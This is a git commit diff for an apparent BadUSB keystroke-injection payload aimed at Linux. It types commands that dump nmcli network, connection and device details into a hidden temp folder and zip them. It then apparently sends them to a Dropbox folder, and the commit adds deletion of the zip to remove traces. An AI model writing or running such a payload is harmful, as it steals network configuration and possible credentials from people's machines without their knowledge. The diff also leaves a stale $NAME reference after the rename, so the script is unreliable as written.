Fixed zip function
parent
0dce8b6504
commit
9675f88b3d
|
@ -34,7 +34,10 @@ STRING RANDOM=$(shuf -i 1-999999999999 -n 1)
|
|||
ENTER
|
||||
|
||||
DELAY 500
|
||||
STRING NAME="$RANDOM.zip"
|
||||
STRING ZIP_NAME="$RANDOM.zip"
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING ZIP_PATH="/home/$USER_NAME/Documents/$ZIP_NAME"
|
||||
ENTER
|
||||
|
||||
REM Folder path
|
||||
|
@ -42,20 +45,22 @@ DELAY 500
|
|||
STRING TMP_FOLDER_PATH=$(mktemp -d -p "/home/$USER_NAME/Documents" prefix-XXXXXXXXXX)
|
||||
ENTER
|
||||
|
||||
REM Delay for zipping operation, it depends by computer power and folder directory
|
||||
DELAY 3000
|
||||
|
||||
DELAY 500
|
||||
STRING nmcli > "$TMP_FOLDER_PATH/nmcli.txt"
|
||||
ENTER
|
||||
DELAY 1000
|
||||
|
||||
DELAY 1000
|
||||
STRING nmcli connection show > "$TMP_FOLDER_PATH/nmcli_connection.txt"
|
||||
ENTER
|
||||
DELAY 1000
|
||||
|
||||
DELAY 1000
|
||||
STRING nmcli device show > "$TMP_FOLDER_PATH/nmcli_device.txt"
|
||||
ENTER
|
||||
|
||||
DELAY 1000
|
||||
REM Delay for zipping operation, it depends by computer power and folder directory
|
||||
STRING zip -r "$ZIP_PATH" "$TMP_FOLDER_PATH"
|
||||
DELAY 3000
|
||||
|
||||
STRING DROPBOX_FOLDER="/$NAME"
|
||||
ENTER
|
||||
|
@ -74,3 +79,7 @@ ENTER
|
|||
DELAY 500
|
||||
STRING rm -rf "$TMP_FOLDER_PATH"
|
||||
ENTER
|
||||
|
||||
DELAY 500
|
||||
STRING rm -rf "$ZIP_PATH"
|
||||
ENTER
|
Loading…
Reference in New Issue